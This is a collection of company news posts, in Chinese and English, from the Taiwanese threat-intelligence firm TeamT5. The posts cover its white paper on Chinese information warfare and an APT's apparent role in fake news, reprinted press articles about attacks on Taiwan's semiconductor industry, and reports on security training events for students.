 
3. APT 攻擊者很可能參與了社群媒體上的資訊戰
 
 
我們擔心 APT 攻擊者很可能參與了社群媒體上的資訊戰。APT 通常是由一個國家所支持的駭客團體，以竊取機敏資料為主，APT 的攻擊者往往具備了強悍的網路攻擊手法與資源。然而，我們今年偵察到了一個可能是由 APT 攻擊者發動的假新聞攻擊。該事件發生在 2020 年七月，PTT 論壇八卦版上，開始有許多被盜用的帳號以假新聞攻擊台灣重要軍事單位，造謠台灣公務機關使用的 Juiker 通訊軟體遭駭，以及台灣重要軍事機關遭駭。我們透過搜索比對貼文與發文 IP，發現其中一個 IP 位址，符合某個中國 APT 曾經使用過的中繼站。
 
 
4. 威脅情資作為對抗資訊戰的重要環節
 
 
如同前述的分析脈絡，APT 與社群操弄的結合會讓防守方更加棘手。在棘手的防守環境中，唯有威脅情資（threat intelligence）可以提供即時的分析，評估攻擊者的攻擊手法、可疑的指標、以及造成的風險。而在快速更迭的社群媒體環境中，平台方與事實查核團體非常難找到證據，歸因大量散播的假新聞。我們認為唯有導入威脅情資，才能有效幫助政府單位、重要關鍵基礎設施與企業，對抗資訊戰。
 
 

若您對我們的白皮書有興趣，請填寫以下表單，取得完整的研究報告。
 
 
追蹤 TemaT5 [Twitter](https://twitter.com/TeamT5_Official)，資安動態不漏接！

資訊戰白皮書三部曲：中國的社群操弄

The Chinese government has expanded its information warfare to the highest level in the past. It has been confirmed that even the Chinese government-supported Advanced Persistent Threat (APT) hacking organization has been mobilized to manipulate public opinion such as disseminating fake news. APT organizations have gone beyond intelligence warfare. This is the first time that it has been confirmed that they have participated in public opinion.

According to a report released by Taiwanese threat intelligence company TeamT5 at the recent SANS Summit, false accounts opened on social network service (SNS) platforms such as Facebook, Google (YouTube), and Twitter have been investigated at an all-time high.

TeamT5 made this statement based on the number of closed accounts published on each SNS platform. Google said it had removed 186 YouTube channels that are estimated to be involved in the Chinese information war in the second quarter of last year.

The Chinese government is known to hold a pro-Chinese content and dissemination of false facts, which are known to be engaged in a defensive public opinion battle that includes state-run media and spam botnets while creating false accounts to create favorable public opinion. The number of Facebook pages used by The New York Times, CNN, and BBC pages exceeded the number of followers two years ago. As of April 2019, the number of followers on CGTN's Facebook page, the Chinese state media, was 75 million, while The New York Times, CNN, and BBC had 50 million each. 

It wasn't even crazy. Targeting Taiwan, which the Chinese government observes, the APT hacking organization used "Juiker" to spread false information, which is a popular SNS platform used in Taiwan like KakaoTalk.

TeamT5 said, "The APT Group is an organization that focuses on espionage and information stealing, and the fact that they are mobilized in information warfare means that the Chinese government is putting all efforts into information warfare," and "It is urgent," TeamT5 CTI analyst Che Chang warned.

The Chinese government turned out to build a system tool that monitors public opinion using Big Data and Artificial Intelligence (AI) technology, a system that can monitor not only domestic social media but also sensitive websites distributed abroad.

TeamT5 is a security company founded by APT experts. It tracks and monitors versions between the Chinese government and supplies threat intelligence to Asia-Pacific regions such as Taiwan and Japan.

[Read more](https://www.etnews.com/20210215000176)

【Korea ETNews】China, Information Warfare... Mobilizing Public Opinion Manipulation And APT Group

News

圖片來源：[Pixabay](https://pixabay.com/photos/internet-cyber-network-finger-3484137/)

教育部資訊安全人才培育計畫於 2020 年 12 月 12 日（六）在財團法人張榮發基金會國際會議中心舉辦「總期程期末成果展」，除了以動、靜態展示計畫四年期間的成果，也邀請優秀學員進行資安專題講座和資安學習分享。現場更設立企業資安徵才攤位，吸引許多對資安產業實習與就業有興趣的同學報名參加。

![1212-1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608110218/1212_1_2358ec7703.jpg)
_TeamT5 企業資安徵才攤位的諮詢人潮不斷_

 

一直以來，TeamT5 在計畫中擔任資安實務導師，包括 TeamT5 創辦人兼執行長蔡松廷，以及資深研究員 Kenny，提供來自資安業界的實戰經驗與資源，共同指導學員，希望能一同培育更多台灣未來的資安新血。

![1212-2.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608110218/1212_2_fa53f65795.jpg)
_TeamT5 企業徵才交流場次吸引許多對資安產業實習有興趣的同學_

 

TeamT5 惡意程式研究員廖子慶（DuckLL）也是資安人才培育計畫的畢業學長，在這場「成發」中，他也上台和大家分享參與計畫的心路歷程，以及加入 TeamT5 的工作日常。

![1212-3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1608110218/1212_3_72036b736a.jpg)
_TeamT5 惡意程式研究員 DuckLL 以計畫畢業學長身份，分享如何成為威脅情資研究員的心路歷程_

TeamT5 參加教育部資安人才培育計畫期末成果展

2021 年寒假，知識含金量爆棚的「TeamT5 Security Camp 資安培訓營」首次登場！從 1 月 19 日至 2 月 3日，三週共五天的精彩課程，由專精於不同領域的資安研究員，透過一系列多元培訓課程與實作挑戰，帶大家一同體驗實際工作日常。

「資安」已成為當今最熱門職缺之一，但許多對資訊安全領域有興趣、有志從事資安工作的同學們，面對玲瑯滿目的資安職缺，卻不知道該如何選擇。TeamT5 作為台灣少數的純資安公司，專精於駭客威脅研究，提供專業的資安顧問服務與漏洞研究，希望透過資安培訓營，提供來自業界的實戰經驗與資源，幫助同學快速探索資安領域的無限可能。

![碼名字.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612769514/_6440531a04.jpg)
_TeamT5 Security Camp 資安培訓營於今年寒假火熱登場_

本次「TeamT5 Security Camp 資安培訓營」有四大吸睛課程，包括惡意程式分析、資安事件處理、逆向工程研究，以及產品安全檢測。營隊第一天就直接帶大家進入重點課程，由我們的惡意程式分析師 DuckLL 和 Still，手把手傾囊相授，實際帶著學員分析各樣程式，一起挖掘威脅情資的奧秘。

![210119-1.1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612430049/210119_1_1_f3969227f4.jpg)
_第一天上課就和惡意程式作者鬥智鬥力，掌握程式執行流程、封包分析、常駐方法與後門功能解析，體驗一日威脅分析師的工作日常_

第二週課程雖然因為防疫考量，暫時改為線上開課，無法讓學員在課堂實際分組討論、操作，但我們熱情幽默的「資安大會最受歡迎講師」Tom 和 Jason3e7 上課絕不冷場，深入淺出傳授大家資安事件處理的正確觀念與心法。

最後一週由核心技術團隊帶來壓軸精彩課程，「Game Master Hand By Hand」由擔任多年台灣好厲駭導師的 Kenny 開課，透過有趣的復古小遊戲外掛實作，一步步帶學員認識系統底層知識與駭客記憶體攻擊手法。

![210203-1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612429565/210203_1_1378adcaac.jpg)
_講師 Kenny 帶大家實作軟體修改，寫好玩的遊戲外掛，循序漸進學習系統底層知識_

「產品安全檢測：IOT裝置漏洞安全研究」則由我們的 HITCON 講師群 CP、Zet 和 freetsubasa 再次上陣，介紹產品漏洞安全研究，以黑白箱測試實作教學，教學員從 Nday 學習攻擊技術、了解防禦方法。

![210203-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612429564/210203_3_09489f9a82.png)
_我們在 HITCON 2020 的講師大大們，教大家從多種面向著手 IOT 設備安全研究，分析設備的進入方式、常見的工具及攻擊技巧_

營隊最後，輔仁大學許見章教授也代表「教育部資訊安全人才培育計畫」蒞臨分享會，觀摩身懷絕技的學員們，展現各自的拿手絕活與研究新發現。除了實際體驗資安研究員的工作日常，學員們也在資安培訓營中，找到志趣相投的好夥伴。

![210203-4.3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612430169/210203_4_3_3933a20b1a.jpg)
![210203-5.3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612430169/210203_5_3_38f7b1ec70.jpg)
_學員們上台分享、交流自己的拿手絕活和研究新發現_

![_DSC0519.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612764411/DSC_0519_25d7c0fab4.jpg)
_TeamT5 執行長蔡松廷與「教育部資訊安全人才培育計畫」許見章教授合影_

TeamT5 Security Camp 資安培訓營 寒假火熱登場

圖片來源：[Unsplash](https://unsplash.com/photos/nIEHqGSymRU?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)

近來傳出全球半導體爆發缺貨潮，美國、德國、日本汽車大廠各自透過關係，希望台灣政府協助採購台積電晶片。《彭博社》26 日以「[全球危險地依賴台灣半導體](https://www.bloomberg.com/news/features/2021-01-25/the-world-is-dangerously-dependent-on-taiwan-for-semiconductors)」為題解析此現象，指出這不僅凸顯台積電在全球供應鏈的重要性及位階，也意味著各國政府領導人非常需要台灣維持民主、不被中國進犯，否則地緣政治紛擾將成為晶片供應瓶頸。

柏林智庫「新責任基金會」（Stiftung Neue Verantwortung）科技與地緣政治專案主任克萊恩漢斯（Jan-Peter Kleinhans）表示，台灣主宰了美國委外晶片製造市場，因此是整個半導體價值產業鏈最重要的潛在關鍵，一旦台灣失效，就會讓整個產業鏈無法運作。

#### 台灣的晶片技術，能抵禦中國進犯？

為應對中國的晶片短缺危機，中國國家主席習近平去年 10 月公布，計畫在 2025 年以前砸下 1.4 兆美元（約新台幣 39 兆元）發展國內半導體產業。然而即使這麼做，也不能完全消除中國對台灣的晶片需求。中國長期不斷挖腳製造晶片的高科技人才，曾是台積電主要高層的梁孟松、蔣尚義，如今是中國中芯國際的共同執行長和副董事長。

有鑑於美國阻礙中國發展晶片，有人猜測北京可能會竊取台灣的晶片智慧財產權技術。台灣網絡安全公司杜浦數位安全（TeamT5）觀察到，美中技術冷戰期間，台灣晶片產業受到的網路攻擊也跟著增加，但無法辨認攻擊是否都由中國當局主使，只能確定這些駭客攻擊的受害者全都是台灣半導體公司。

[點此閱讀完整報導](https://www.storm.mg/article/3426084?mode=whole)

【風傳媒】晶片大缺貨，美德日向台灣求援　彭博社：全球對台依賴達到「危險」地步

*Image courtesy of [Unsplash](https://unsplash.com/photos/nIEHqGSymRU?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)

#### A shortage of auto chips has exposed TSMC’s key role in the supply chain

As China pushes the world to avoid official dealings with Taiwan, leaders across the globe are realizing just how dependent they’ve become on the island democracy.

Taiwan, which China regards as a province, is being courted for its capacity to make leading-edge computer chips. That’s mostly down to Taiwan Semiconductor Manufacturing Co., the world’s largest foundry and go-to producer of chips for Apple Inc. smartphones, artificial intelligence and high-performance computing.

#### Chip Industry Choke Points
The industry’s biggest companies are siloed in just a few countries.


“TSMC is becoming more and more dominant,” said Kazumi Nishikawa, an official working on technology issues at Japan’s Economy Ministry. “This is something everybody in the chip industry must find a way to deal with.”

China, in its five-year plan presented in October, is channeling help to the chip industry and other key technologies to the tune of $1.4 trillion through 2025. Yet even that kind of money doesn’t negate the need for Taiwan. Indeed, China has long tapped the island for chip-making talent; two key executives at China’s top chipmaker, Semiconductor Manufacturing International Corp., used to work at TSMC: co-Chief Executive Officer Liang Mong Song and Vice Chairman Chiang Shang-yi.

But with Washington stymieing China’s progress, there is also speculation that Beijing could resort to stealing chip IP, with Taiwan at the heart of those endeavors.

Taiwanese cyber security firm TeamT5 has observed a steady increase in attacks on the island’s chip industry corresponding to the tightening of U.S. export controls on China. While it’s not always possible to know if these are Chinese state actors, “they are all attacking the Taiwanese semiconductor industry,” Shui Lee, a T5 cyber threat analyst, said.

Fellow analyst Linda Kuo said the Taiwanese government was alarmed by a ransomware attack on TSMC in 2018 and had announced plans for some $500 million to help the industry become more aware of cyber security issues.

[Read more](https://www.bloomberg.com/news/features/2021-01-25/the-world-is-dangerously-dependent-on-taiwan-for-semiconductors)